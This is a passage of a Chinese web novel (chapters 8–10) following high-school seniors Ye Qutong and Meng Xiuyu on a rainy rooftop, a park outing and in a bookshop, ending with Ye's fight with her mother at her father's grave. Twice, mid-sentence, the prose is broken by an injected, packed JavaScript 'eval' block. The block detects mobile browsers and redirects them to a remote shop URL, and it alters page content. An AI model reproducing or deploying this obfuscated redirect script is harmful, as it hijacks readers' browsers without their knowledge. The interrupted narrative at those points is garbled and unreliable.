叶曲桐明明已经听见了那道清冷又干净的声线,却还是愣了一秒,低下头垂着眼睫与身侧的人静默着对视,她下意识微微缩了下脖子,“哦……我都没去过,以前是那边是封上的。” 孟修榆伸手搭在椅背上,替她扶好下来的“阶梯”,说得寻常:“有个天台。” 仿佛有窗外的水汽氤氲在他周围,浓重的植物清气濡湿了此刻的玻璃窗,从上而下的视角看,他鼻梁高,眼睛微垂,显得线条很深,睫毛浓密得看得起一根一根的,下巴连着脖颈的轮廓匀称又清瘦,与他骨节分明的手指看起来很匹配。 他哪怕只是微微皱眉,也给人一种全神贯注的感觉,像一副行走的电影海报。 叶曲桐顺着他的好意踩下课桌,心情忽然有些慌张,低声说着:“谢谢。” “就你一个人?” “嗯,这周有艺术节,你看了吗?” 孟修榆说:“没有。” “……哦,我也没。”叶曲桐将桌面垫着的报纸折叠好丢进垃圾桶,彼时孟修榆已经帮她将课桌移回了原处。 每次背对着孟修榆时,叶曲桐才有敢开口的勇气,专心写板书许久没有说话,喉咙有一点刚睡醒的轻微涩哑,她吸了口气才问说:“天台还开着吗?” “我下来的时候没锁。” “哦。”他刚下来。 叶曲桐眼神有些游离,一到单独相处她就有些紧张,“我想去看看。” “走吧,我去拿书包。” 一前一后就这样走了出来,叶曲桐看着自己拉长的身影和孟修榆的影子逐渐相遇,重合,又彼此拉长。 穿过无人的走廊,还有全是人的操场外,简直像黑白默片里有念白说女主角穿了一身大红色连衣裙,仿佛有无数个目光向他们投来,她之前没想到这些,只觉得心脏要跳出来嗓子眼。 一直到天台,呼吸到真正有点刺痛嘴唇的冷风时,叶曲桐才后知后觉她做了什么,铁网架的很高,还有玻璃渣特意碎在上面,根本不需要为此上锁。 “……如果是晴天,落日一定很美。”叶曲桐远离人群后,稍稍恢复镇静。 “下雨也是。” “哦……” 叶曲桐往前走了几步,微微仰起头在废弃的一堆课桌椅边站定,多呼吸了两口原处冒着白烟的烟火气。 她随意低下眼,看见课桌上蓝色粉笔模模糊糊新写了一行字,她下意识轻声辨别:“孟……修……榆,我喜……” 好像是写了一半的“我喜欢你”。 夜风涌现,将声音吞没。 那不值一提的勇气是少女的珍珠。 9. 第 9 章 第09章 孟修榆微怔,然后问:“你说什么?” 叶曲桐的声音低到连自己也听不到,她赶紧伸出食指点了点课桌上的字迹,“……有人写的。” 孟修榆默默走到她身边,却没有意图去看桌面,只是微微仰起头,眼中有深深浅浅的笑意,声音却更加低缓沉静:“好像又要下大雨了。” 叶曲桐平复着心跳,侧身转了半步,发现天台下的路灯往小巷深处曼延,繁星满布,烟囱冒着白水汽,像是无边无际的夜雾海。 叶曲桐双眼无神地盯了一会儿,视线落到之前清理落叶枯枝的橡胶水管子上,随口提议:“你说……如果我们打开地上的水管子,会因为灯光的反射和折射形成彩虹吗?” 孟修榆关注点在实验用具上,“确认是通了水的吗?” 叶曲桐有些惊讶的转过头,不假思索地说:“你居然认真在考虑……” 孟修榆走过去,捡起一根水管子,很不怕死的居然拿出水孔对着自己,没生锈的水龙头就在不远处,光这个动作已经让叶曲桐心里犹豫。 “老师会发现的吧?” “反正下雨天。” 叶曲桐忽然有点胆怯,从来没做过这样不恪守规矩的事情,她望向孟修榆,总以为像他这样干净、清冷的气质应当是拉小提琴的人,此刻却好像看见他拨动着摇滚乐的唱片。 叶曲桐忽然觉得天台有点空荡,好像可以回荡着她的声音,天上的乌云在乱打窜。 孟修榆向她扬了扬手中捏紧的橡胶水管,对着天台灯的方向,有一种百米冲刺要开起跑枪的紧迫感,整个人甚至缓缓向后仰起上半身,开始蓄力。 叶曲桐的心脏已经提到嗓子眼,期待足以令她想双手合十。 叶曲桐小声问:“那……会有彩虹吗?” 混着渐渐变大的雨声,孟修榆倏地的“咚——”了一声。 叶曲桐鬼使神差地轻叫出声,转眼怔怔地看着孟修榆。 却见他眼睛里涌上毫不掩饰的笑意。 “会淋湿。”他放下水管,淡淡一笑,拧开水管口上的门阀,反复拧开,“刚刚没开水。” 叶曲桐以迅雷不及掩耳之势转过身,发丝贴着耳朵在风中凌乱,她伸手捂了捂,简直觉得是在燃烧一样的温度,不是因为被捉弄,而是她从没见过孟修榆这样明显的笑意,不带生分和礼貌的笑容,这令她觉得他们之间的距离好像变近了一点。 叶曲桐反应过来,不好意思地小声说:“……你在捉弄我啊。” 她纯净清澈的目光就这样直接望进了他的眼睛里。 孟修榆恢复淡淡的语气,却能被她刚刚满怀期待的心情感染,“抱歉。” “没事。”叶曲桐拿手指敲了敲课桌面,思索片刻,面朝天空低压的浓云,微微合上眼,大大方方地笑着问:“下次出太阳的时候,要再来试试吗?换我拿水管。” 好像在说,要捉弄回去。 孟修榆在她看不见的时候轻轻笑了一下,语气也像是在逗她,“那你记得打开水阀。” 叶曲桐也笑说:“说好了,不要食言。” “嗯。” 暴雨将至,翻涌着的浓云变换着形状,往同一个方向拥挤,像是数百盏天灯齐齐升空,有一种磅礴大气的美感,又有一种心底喷发的、难以压抑的心动。 巨大的黑灰色银幕下,有两个人在互相对视。 这一切都如梦境一样。 叶曲桐手指伸在校服裤子的口袋里,捏紧了她的苹果手机,想起陈郁芸和七榕那天关于拍摄采访视频的对话,充斥着对孟修榆不配合的抱怨和指责。 她斟酌着问:“……你喜欢拍照吗?我想拍一张暴雨之前的照片。” “谈不上喜欢。”孟修榆一顿,看向她,“需要我帮你拍吗?” “……不用的,我很少拍照,我拍一张风景就行。” “哦。” 叶曲桐其实真的很想在这样如梦如幻的画面里,拍下孟修榆站在夜色中身影,可是她举起手机以后,不敢、也不便挪动镜头,没有抓拍的可能性。 叶曲桐只想几秒,就放弃,双手撑在天台的扶栏上,透过铁丝网往外看着,她其实什么也没想,在这种自然景观下只觉得惊叹,她也没有摄影技巧,只是举起手机,认真拍了一张。 忽然而至的闪电,吓得叶曲桐缩回了手。 彼时拍照的“咔嚓”声重叠响起。 叶曲桐赶紧转过头,注视许久才回神。 孟修榆看着屏幕,像是察觉她的目光,而后将手机捏在手心垂在身侧。 叶曲桐讪讪开口:“你拍到闪电了吗?刚刚……突然一闪。” “没有。” “那你……” 灯海如星河,静谧的气氛扑面而来,夜雨“哗啦啦”一瞬间劈头盖脸抖落下来,及时盖过人声,叶曲桐双手遮在头顶,“啊”了一声便往楼下小跑,整个世界都在沸腾。 孟修榆也跟着她往楼道小跑,几步路的距离,来不及脱下校服。 只有雨滴打在地面,冲淡了他用大手挡在女生头顶的印记。 * 下了将近一个月的雨,赶在五一长假之前,气温一股脑涌上来。 慕城七中在这方面非常厚道,虽然学习气氛和日常管理非常高压,但是从不挑战法律规定,公假日是几天,他们就放几天,只是阎萍老师担心学生会放纵自己,耽误复习,于是提前跟各科老师打好招呼,布置的作业量几乎是每天抓紧时间写,都可能完成不了。 按阎萍老师的说法,“高三这个阶段,一天不学等于三天白学。” 但是班上的同学们已经按捺不住放假的心情,就算是高考在即,也依然想要浮出水面喘口气,连连应声,只想赶紧让阎萍老师放行。 阎萍老师格外沉得住气,在讲台上发话:“放假是明天的事情,跟今天、跟现在没有一点关系,别的班几点放学我不知道,我也不关心,我希望我们班的晚自习可以正常上。” “啊——” “啊什么?”阎萍老师怒目扫视了一圈,教室顿时安静下来,“部分同学,我不在这里点名,也不想给大家增加没必要的压力,但是这个时候松懈,我认为是十分不理智的。” 阎萍老师念叨了几句,适可而止。 她前脚刚离开教室,谢若辞就长呼了一口气,得救了一般,摇着头碰了碰叶曲桐的胳膊,“桐桐,五一放假你出去不?应该不出去吧?” “不出去。” “短途旅游呢?就两天一夜那种?”谢若辞直接从课桌底下掏出校门口旅行社发的简章,翻了几页说得很向往,“我们就去两天行不行?或者一天!一天我们早出晚归那种!” 叶曲桐说:“不了,我就在家吧,还能给我外婆帮帮忙。” 提到外婆,谢若辞就不好多说了,她失落地说了句,“好吧,好吧,那我去问问其他同学,主要是除了你,我实在是不想跟其他人住一个房间。” 叶曲桐揽了揽她的肩膀,劝慰说:“没事啦,谁跟你一个房间肯定都能开开心心的。” 这对小太阳性格的谢若辞来说,非常奏效。 她点点赞许说:“那倒是,不过我还是最爱你的哈。” 叶曲桐也陪着笑了笑,“行。” 五一放假前三天,叶曲桐都在家复习,晚上帮外婆出摊,从巷子口挪到观音山附近,那边客流量比往年都大,小推车往常都走不远,所以没特意安置四个轮子,只在前轮安设了两个,后面是用一块方形木桌搭配两条椅子腿设计的,方便增设放调料的位置。 这也导致了靠两个人推动,十分费劲,碰到坑洼的石板路更是容易翻车。 赶上一个周五,叶曲桐正帮着阿婆推车往家走。 忽然阿婆那侧多了一道很沉的力量,人影拉长,叶曲桐抬起头,发现阿婆的感谢声和孟修榆的面容一起出现,“……你怎么在这里?” 孟修榆先对着阿婆说:“我来吧,您走在旁边就行。” 阿婆连连感谢,说着“不用”,但孟修榆已经占据了她那侧的把手,他看起来毫不费力,甚至往中间走了半步,问叶曲桐:“还有力气吗?” “我这边可以。”叶曲桐已经满额浮汗,她轻轻喘着气说,“有手套,就是会热一点。” “不用。”孟修榆目视前方,轻描淡写回答她的问题,“前两天暴雨有一棵树被雷劈断了,打在我妈妈的墓地附近,刚刚有人来修。” “哦,都弄好了吧?” “嗯。” 叶曲桐看他一眼,尽量平和的语气说着:“那就好,如果你有需要,也随时喊我帮你去看看。” 毕竟他可能要出国读书。 想到这,叶曲桐还是忍不住叹了口气,被孟修榆捕捉,他淡淡说:“好。” 送叶曲桐到家,阿婆强留他吃饭,老人家的感谢方式总是直接又真诚的,她做了一大桌子菜,还直念叨,“来不及煲汤,不然有菜有汤才健康。” 阿婆一个劲地招呼孟修榆,担心他介意,甚至拿了双公筷给他碗里不停地夹菜。 孟修榆也反复说着:“谢谢,不用太客气了,阿婆。” 吃到一半,阿婆本想问问孟修榆的家人,但联想到他母亲过世、修复墓地的事情,赶紧住了口,往厨房冰箱里掏了掏,打包好熟食和腌好的烧烤原材料。 阿婆拿手在自己的围裙上擦了擦,递给孟修榆:“小孟,这个都是我自己做的,很干净,明天你要是有空,你跟桐桐一起去茗山公园露营吧。” 孟修榆接过来,放在桌上的空位,好似在用眼神询问叶曲桐。 但是叶曲桐也拿不准孟修榆到底想不想去,也不敢替他答应,只是解释说:“哦对,这个是我表舅家的活动,他看我和阿婆两个人住,经常喊我们吃顿饭,出去逛逛。” “对,桐桐她表舅一家人的性格都很不错的,也有车,到时候你们带一箱矿泉水去,或者可乐,我给你们准备,你们俩搬上去,还有这些菜带上就行了。” 阿婆热情地想拍一拍孟修榆的肩膀,手悬空着赶紧收回来,不好意思地搓了搓手说,“小孟,你别拘谨,就当去公园玩,桐桐小时候可爱去茗山公园了,她熟悉。” 流行三国杀那会儿,几个小学同学周末总是约着去茗山公园,铺块布,带几包薯片和干脆面就能对付一顿,那会儿什么银杏园、葡萄园、柿子林叶曲桐都钻进去过。 见孟修榆一直没出声,叶曲桐想着,他可能是为难,不想违背老人的心意。 于是,她试着开口解围:“阿婆,高三了,我们都不去了吧,得复习呢。” “你也该出去玩一玩了!别老被我和这个摊位耗着!”阿婆感慨。 孟修榆看着叶曲桐忽然说:“你想去吗?” 叶曲桐想了想,其实也不是不去,茗山那边她确实挺熟悉,珞珈亭的佛像朝哪开她都知道,“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13908590|147369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …茗山公园其实还挺雅致的。” “方便我去吗?”孟修榆问。 叶曲桐点点头,忽然有点紧张,笑着说:“当、当然了。” 阿婆听着也高兴,叮嘱说:“太好了!你们就安心去玩吧,天气也很好,不过桐桐要记得带上过敏药和防蚊水,毕竟在山上,皮肤要是不舒服你可就遭罪了……” 叶曲桐说:“知道。” …… 隔日,到茗山公园。 上台阶,重楼高檐,黄琉璃瓦遮住云月。 “佛像居然没了……”叶曲桐走在最前,闻言倒着上台阶。 表舅他们一家人正在低平处小草坪上铺餐布,叮嘱几个小孩别走太远。 “我只来过一次,没经过这个亭子。”拾级而上,呦呦鹤鸣,孟修榆停住脚。 被叶曲桐看见,她往下走了一步,离他更近,“这不是鸟叫,是真的有白鹤。” 孟修榆蹙了下眉,考究似的重复:“白鹤。” “对,但是我不知道是什么品种的白鹤。” 孟修榆淡淡说:“没在书上见过图片。” “那我就抓不来了……”叶曲桐难得因为好心情而跟他开玩笑,她往遥远的山那侧一指,“白鹤喜欢待在浅水沼泽地带,吃芦苇根茎和野荸荠,偶尔也吃鱼,得翻过那座山,去水边找。” 孟修榆迟疑着没动,往她指的方向想象。 他突然淡笑了下,“我小时候一直以为白鹤只存在于神话故事里,生活里没有。” “……一直是多久。” 孟修榆说地淡漠,“忘了,小时候没有人陪我,有什么看什么。” 叶曲桐朝他看一眼,安静了几秒才说,“我也是。” 极少见孟修榆说这么多话。 他轻声说着:“在二手书摊赖着不走,经常被大叔赶。” 叶曲桐心里很是动容,她很懂这种狼狈的时刻,她也曾经在书摊旁边安静的待着,帮回收旧书的大叔“看店”,才能获得一些阅读的自由,她总是想一口气读完这本心爱的书,因为很有可能下周放假再来时,这本书已经被卖出去了,也很难找到同样的一本。 那时候市里的图书馆还太遥远,不止要大人带着去填资料、办卡,还要迎来营业员让他们别乱动、别拆封的冷眼,更何况,真的太远了,一路公交车要坐到底站。 混着风吹动小草的声音,仿佛听见当年香樟树下窸窸窣窣翻动的书页声。 叶曲桐不知不觉仍在倒着往上一层,脚后跟摸着台阶抬,第一步安全。 反而是第二步绊了脚。 当她身体刚往下倾倒时,孟修榆已经眼疾手快扶住了她的腰,“看路。” 见她站稳,孟修榆迅速松开手。 叶曲桐回吸一口气,转过身去正常往上走。 双手一下子不知道该往哪里放,总不能叉腰,不由自主地夹紧胳膊抱在胸前。 五月的慕城,气温适宜,但是初见柳絮成灾的现象。 反正对叶曲桐这种既是敏感肌,又有点慢性鼻炎的人来说,同样是过渡季节,春夏远不如带点利落凉风的夏秋舒适。 到达绮望楼,过时不让入内,廊内景色一眼看尽,两个人靠着汉白玉石的护栏休息。 “你脖子……”孟修榆低头看了眼,礼貌的移开视线,相比一路还在心悸的叶曲桐,整个人是回顾自然的平和,“会痒么?” 叶曲桐拿手扇风,“不痒,有一点刺刺的,看起来夸张而已,特别严重我才吃药。” 孟修榆犹豫了几秒,从裤子口袋里递给她一盒过敏药,“一天一粒就行,不用按说明书吃。” 长条状,叶曲桐以为是膏状,打开却是两排细小的白色圆颗粒。 有些惊愕浮上叶曲桐的眼眸,“真的假的……” “嗯,可以相信我。” 其实叶曲桐想说,真的假的,你居然变出过敏药。 她手边没水,这么小一粒她也干咽不下去,攥紧药盒想说谢谢,几乎条件反射先问出口:“你怎么还随身带过敏药啊?你皮肤也容易敏感吗?” 孟修榆没有正面回答,只说:“防蚊水也有。” “哦,那不用,我今天还好,出门之前我喷了点花露水的。” 孟修榆看她一眼,轻声“嗯”了一下。 不远处烧烤架上开始冒黑烟,不用说,肯定是表舅的手艺。天边淡淡虹彩,像靠近城市大楼的玻璃衍射光,山下的灯火渐次亮起,那一秒像是可以蹿入绵云的斑斓烟火。 晚餐时间总是热闹的,人声盖过山林回声,混合着可乐气泡破开和干杯的笑声。 两人同时看到这一幕。 叶曲桐感慨说:“好漂亮,像彩虹一样。” 孟修榆微微点头,想起那晚的天台。 叶曲桐此刻很开心,她甚至想展开双臂拥抱这些烟火气。 但她只是转过头,安静的看了一眼孟修榆,低了低头,盯着某一处摇摇晃晃的小草,说着:“马上就要高考了,我们以后应该会有很多自由的时间。” 孟修榆的声音格外缥缈和温柔,“嗯,至少比现在自由。” 漫天灯火,温热的风拂面而过,她好想对着此刻许愿。 未来仿佛近在眼前。 那颗盼望早点结束高考,早点更加自由,早点长大的心情,蠢蠢欲动,难以压制。 到时候我们还有机会这样并肩欣赏日落彩虹吗? 10. 第 10 章 第10章 一天课间,谢若辞因为来姨妈生理痛而趴在课桌上休息。 原本这个时刻她都可以喊叶曲桐帮她去打热水,最近几天她却都不在学校。 后桌围着一群男生叽叽歪歪的,聒噪公鸭嗓传到谢若辞耳中让她更加烦闷,回头就丢了本书过去:“烦不烦啊?说个没完没了的。” 被砸到头的男生叫梁策,是班上的活跃分子,成绩中上,各科均衡,还不乏超常发挥的时刻,所以备考相对压力没有那么大。 他脾气和人缘都相当不错,被砸到头也只是将书抹平放好,赔笑说:“不好意思啊,我这不是着急找陈芥有事。” 谢若辞知道他指的是什么事,她都听到好几遍了,烦都烦死了。 “陈芥,晚上真不跟我们一起去吗?”梁策今天又念叨了一天卢艺婕生日聚会的事情,明知会被拒绝,还是继续游说,“大家都是同班同学,她平时多低调啊,要不是为了让你去,我估计她都不会邀请这么多人,你给人家大美女一个面子嘛……” “不了。” “你不去我都不好意思去了,要不你就当今天是我生日,大家都来给我过生日,你看行吗。” 陈芥把自己的外套脱了,塞进书包,下半身还套着蓝白校服裤子,“我看不行。” 说完看了眼墙上的时钟,把梁策课桌上的书拿起来就起身:“走了。” “别啊,陈芥。”梁策高喊,“你到底要干什么去啊?就当吃个饭也不行吗?听说一中那个孟修榆也去,你一七中校草不得去看看吗!” 陈芥的声音从前排传过来,丝毫不理会他的话,“我有事。” 梁策闻声也一把拉起自己的书包,带子刮在椅子背上,刺耳一声巨响,“陈芥……” 再一回头,陈芥已经走远了。 “什么重要的事情啊,卢艺婕这种大美女都会有人不喜欢啊……” 梁策多少有点不理解。 * 等到放学值日,组长顾念谢若辞身体不舒服,男女有别,也不好点破,便把丢垃圾的活儿分给了谢若辞,让她先在教室独自休息,他们组其他人去教室外清扫。 陈芥等没有人在教室,才去找的谢若辞。 他给谢若辞买了一杯热奶茶,放在桌角,还没开口,谢若辞已经露出坏笑,理所当然得拿起奶茶摇晃了几下,问说:“是想问我桐桐怎么没来上课吧?” 陈芥如实说:“嗯,我从来没见过她请假,病假都没。” “那倒是,她有一次发烧到快四十度都没回家休息。” “嗯。” 陈芥这一声格外沉重,越是了解叶曲桐的性格,越是知道她根本不可能因为小事情请假。 谢若辞犹豫了几秒,才说:“你别告诉别人啊,桐桐受伤了,从山上摔下去了。” 明知道她说一半留一半是在故意逗自己玩,陈芥还是着急问:“那她怎么样了?” “她啊——” 陈芥尽量保持镇静,脸色上看不出异常,手指已经握住了她的课桌角,好似浑身都在使劲,“你就快点说吧,明天再给你带奶茶。” “行!不难为你了,看在你平时经常给我抄作业的份上!”谢若辞吸了一大口奶茶,才说,“不用担心,我打过电话了,她声音听起来很好,受了点皮外伤,好像是她去给她爸爸扫墓还是什么的,碰到了点小麻烦,但是人没事,后天就来上课了,医院非得让她留院观察1天。” “她在医院吗?” “现在不在了吧,我晚上再打电话问问,放心啦,说是没事。” “哦。” 陈芥也不方便再问,好似不能欠任何人情,又从书包里面掏出一叠卷子递给谢若辞,“这个是我整理的高频考点,给你一份,你要是方便也……” 谢若辞笑得爽朗:“懂!方便!方便!我给桐桐也复印一份!” “谢谢。” “不谢!我这个人呢,最喜欢嗑CP了!尤其是双学霸这种CP!”谢若辞咕咚吸了一大口,摇了摇手里的奶茶开玩笑说,“没事!我帮你保密!我懂!” 陈芥微微张口,好像也不适合再说什么,仍是说了句,“麻烦你了,我就先走了。” * 陈芥失神地走去了家书店,两层楼的那种,一层卖书,一层住人。 平时他也经常经过,但是里面旧旧的,全是拆封了的旧书,也没有人管理,所以很少有人去,但是他知道,以前叶曲桐经常去看书,有时候会帮忙整理。 听阎萍老师私下里提过,这原本是她外公的书店。 去世后没有人有精力照顾,营收也不好,所以被他妈低价盘给了原本想改装成民宿的外地人,后来经营不善想关闭时又撞上一片老城区可能会拆迁的新闻。 所以就变成了不管不问的地带。 这一层里面只有两排书架,面积不大,没有太多分类,但是好书极多,进货全看老板偏好,销量非常一般。没有坐的地方,也没什么人来看。 进门两侧的桌上堆着最新的教辅资料,主卖书店斜对面中学老师推荐的教辅资料,和一些月更、周更的杂志和漫画等。 楼上是用铁链锁起来的,从书店无法上去,背面修葺了可以直接爬上去的水泥楼梯。 “你怎么在这?”声音很是惊讶。 叶曲桐从楼上下来时,孟修榆正坐在收银台写作业。 这一幕刚好被陈芥看到,他手指刚覆上门把手,而后缓慢松开。 他想起他上次经过这里,好像也是一样的视角,隔着玻璃门,他看见从未见过的叶曲桐,她明明没有这么明媚,但是她明明也没有这样腼腆。 印着珠花细闪的苏绣,银灰色的木框画,像雾又像雪的拂过山巅,金色的琴弦,杉木制的中提琴,统统错落挤在这家不像书店、也不怎么像精品店的地方。 叶曲桐的手指一一扫过去,胡乱逛逛,没有人来推销,她也没有看中的。 想让人买东西,可能缺点符合春夏懒散调调的BGM。 十五平米的地方,窄到逛不了两圈,叶曲桐蹲下身正在捡一张2003年的电影票根,叫《见习黑玫瑰》,讲的是两个少女组合打怪的离谱故事,但比剧情更离谱的是,主演居然是郑伊健和Twins。 “挑中什么了吗?” 叶曲桐还没起身,声音从头顶落下来,抬眼看到孟修榆。 同是高三的普通学生,孟修榆却有一种成年男人的斯文,不止是穿着打扮上的规整洁净,主要是得体儒雅的谈吐中,总还带有那么一点较劲的意味。 叶曲桐退后半步,几乎下意识别开眼:“随便逛逛,没看到什么中意的。” 孟修榆眼神停在她手上,“那个呢?” 叶曲桐干脆地扬了扬,放回到台面上,拿印章盒压上一角,认真思索说:“想不出来放哪里,也不知道谁合适送。” “收藏?”孟修榆问。 阳光透过蓝色复古橱窗照到他耳朵上,红红的一只,很亮眼。 叶曲桐看了眼地面上巨大的亮面,慕城的四五月没有春天的余味,只有干脆利落的风浪。她没有在说假话,“算了,价格都快赶上两本书了。” 她没有这么奢侈的爱好。 孟修榆抿了抿嘴角,乏而有味,轻轻抽出那张纸,在叶曲桐眼前停了一下,“真不要?” “不要了。” 孟修榆对上她的目光,似是错觉,他浅浅笑了下,“那我买了?” “……好吧。”叶曲桐往外走,运动鞋踏在木地板上发出一点闷闷的声音,“这电影没什么意思。” 她实在不想让孟修榆觉得她只爱看这种逻辑不通的电影。 “哪种没意思?” 叶曲桐停在玻璃门前,太阳看起来很晒,没有走出去的勇气,“从头到尾没意思。” 孟修榆淡淡说:“没意思还看完了。” 叶曲桐微微点头,停了一会儿,有些不好意思地挠了下耳后的头发:“可能因为有人说我长得像阿娇,不过这样说有点像在自夸……” 说完孟修榆好像有点不想搭腔了。 叶曲桐脑子里全是明晃晃刺眼的热浪,她会不会像坚硬的冰棍儿,只能坚持三秒就会雾起一层水汽,抿一下就全倾泄下来。 陈芥的目光停留在孟修榆身上几秒,想了想,这次也还是离开了。 叶曲桐从楼上下来。 孟修榆淡淡“嗯”了一声。 “不好意思,我吃了药,下午睡了好久。”叶曲桐走下来,手里还拿着空空的水杯,看了眼墙上的时钟,“都八点半了,睡太沉了分不清时间,本来我是来收房租的……” “没事。” 孟修榆今天没有补习课,也没有别的安排,不知道怎么的就来到了学校。 叶曲桐不知道他的课程安排,以为他刚下课,问道:“你吃饭了吗?” 孟修榆点头,指了下玻璃门对面的杨姐面馆,“我吃过了,你饿不饿?” “好饿。”叶曲桐轻轻揉揉肚子,“这两天都在喝粥,嘴里都没有味道了。” “过几天就可以正常吃饭了。”孟修榆把桌上的书本整理好,空出位置让给叶曲桐,指了下打包好的海鲜粥,“外婆熬的,我去热一下。” “你今天见过我外婆?” “嗯,你外婆告诉我你在这里。” “这样……”叶曲桐安静几秒,有点不解地冲他眨了下眼睛,“……是找我有事吗?” 孟修榆轻声说:“……没有。” “哦……” 也是,也许只是上完课去吃个馄饨,毕竟就在巷子口,又认识外婆,或者说,按照外婆的个性,看见了孟修榆,拽也得把他拽到摊位上吃完才能走。 孟修榆端起保温壶往入口右侧的微波炉走,平时也有一些学生会来使用。 “我一会儿就回来。” 叶曲桐微怔,还沉浸在能在这里见到他的惊讶中,忙不迭说着:“好的,谢谢。” 孟修榆回来时手里还多了一罐腐乳。 “好吃诶。”叶曲桐舔了舔筷子头,“一点都不咸,跟我老家那边的不一样。” “你不是慕城人?” 叶曲桐笑容中略带一点得意,“是不是我的慕城话说得很地道?” “嗯。”孟修榆声音平淡,“但是你说话更慢一点。” 也更温柔,这点不像慕城人。 但是孟修榆没说。 “因为我是跟我爸爸学的,小时候没说几年。”叶曲桐不喜欢把腐乳融进粥里,只喜欢一口腐乳在前,就着再喝一口粥,她抿了抿唇,“后来我爸爸去世,我跟着外公、外婆住了几年,后来外公也走了,我就也很少有机会回老家,也不太盼着过年过节了。” 孟修榆联想起前几天偶然见面那次,好像就是在叶曲桐父亲的墓地。 “哦……” “嗯,是去看我爸爸,他的墓地也被前几天暴风雨影响了,只是范围不大。” 她跟孟修榆想到了一起。 叶曲桐笑得很自然,没半点勉强,忽然问道:“你觉得我跟我妈长得像吗?” 孟修榆看她一眼,迅速瞥到海鲜粥上,示意叶曲桐继续吃。 叶曲桐自顾自地说道:“你可能当时没注意看墓碑上的照片,我爸爸长得特别周正清秀,年轻的时候也是,后来天天去工地晒黑了许多,但是还是很多人说他长得帅。” “能想象。” “你呢?”叶曲桐问,语气轻松,全然不像在谈墓地发生的事情,毕竟清明节刚过,“你那天是去看望谁呀?害你在墓地看到我跟人打架。” 孟修榆没有回答。 叶曲桐没有往心里去,虽然认识孟修榆没有多久,但是每次他都是这样,话不多,但是整个人透着健康、温和的气质。只是安静。 叶曲桐却顿了一下,举起手掌心:“但是我发誓……这真的是我从小到大第一次打架,我不是坏女孩,我平时也不是这样不讲道理,我极少那样。” 孟修榆抬眼看向她:“哪样?” 叶曲桐快速咽下一口粥,放下手中的筷子,做爪子状:“像这样,很凶的。” 孟修榆终于笑了下,“这样。” 那天,也幸好有孟修榆在。 叶曲桐想。 叶曲桐的爸爸就葬在观音山,当年查得严,叶爸爸又是施工场所出的事,当时孤儿寡母闹了不小的动静,社居委、警察局、房地产公司、保险公司轮着上门,好说歹说,人心难测,最终是因为施工单位承诺多给陈郁芸赔偿三万块钱,但是要求将人立刻火葬。 陈郁芸想也没想就答应了。 于是在叶曲桐不知情,甚至在学校上课的时间里,回到家叶爸爸已经变成了骨灰龛里面的一小撮灰,这事与其说是叶曲桐心尖的一根刺,不如说是缠绕到无法解开的毛线球。 她很难与那一刻的缺席和解。 在幼年叶曲桐的悲恸痛哭,甚至绝食之下,陈郁芸当年才又不得已花了三千块钱找了熟人,连夜将观音山挖了个坟墓,将叶爸爸的骨灰盒重新砌墙土葬。 如今,谢叔叔过世,陈郁芸不知道发的什么脾气,忽然想到了自己的前夫,也就是叶曲桐那个被她骂了一辈子没出息的亲爸,觉得他也应该享点福。 比如,把他的坟墓再抛开,重新修建个豪华气派的墓地。 或者索性迁坟,他老家江城那边有个阳春山,后来为了便于旅游业发展,现在改成了“新朝山”,年年岁岁贺新朝,多好的寓意啊,听着都比百求不灵的观音山破落庙强吧。 但是果不其然,还是遭到了叶曲桐的强烈反对。 当天小雨,叶曲桐随身带伞,但是没有撑开。 “你赶紧走吧,我爸在这挺好的。” 一开始,叶曲桐就难以掩盖动气的神色。 陈郁芸这人是决不允许任何人给她脸色看的,越是这样,她就越是强势,几乎是有一种打压的血脉恶习在,“祭拜完了我就走,迁坟的事情也不需要你一个小孩子同意。” “谁允许你祭拜?”叶曲桐一把拦住她的胳膊,“用得着你祭拜?这么多年你早干嘛去了?” 陈郁芸没有理她,也没有上前,在石阶上放下手里的一束花,“我就偏放在这里了,桐桐,你一个小孩子懂什么?是不是在你心里,我就是十恶不赦的人!你爸爸什么都好!他是大善人,他了不起,为了这个家赔上了性命!但是那又怎么样?关我屁事,他命不好怪我?” 叶曲桐气得整个上半身都在发抖,她没有能力跟陈郁芸吵架。 如同陈郁芸小时候经常辱骂她的那句:“跟你爸爸一个死样,一挨骂就不吱声,屁都放不出一个的东西!一点没遗传到我!” 这几乎是梦魇。 以至于长大后再经历路边别人的妈妈这样数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13908591|147369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落时,她都会紧张烦闷的想要快速离开,她现在已经完全疗愈了自己,五六年前那会儿,她甚至无法跟语速过快、情绪高昂的人交流。 她会不由自主地心生恐惧。 等回过神,叶曲桐不客气地踢了踢脚边的花束:“带走你的花,迁坟的事情没得商量。” “你外婆不会想看到,你今天被她教育的如此没礼貌的样子。” “我外婆更不会想看到你。”叶曲桐提高音量,声音更冷。 “你敢对我叫?”陈郁芸不可置信地逼近一步,“你的眼里还有没有我这个妈妈!我到底哪里对不起你!我到底哪里对不起你和你爸!” “你走不走?”叶曲桐已经冷静了许多,吸了口气问她,更像警告。 “我不走!我死在这你就高兴了?我大不了就一头撞死在你面前,求你原谅,求我这个宝贝女儿宽恕我,是我害死了你爸爸是吧?是我让他没出息?是我逼他去工地!逼他去死的是吧?” 陈郁芸出手拉扯她头发的速度,比她反应的速度更快。 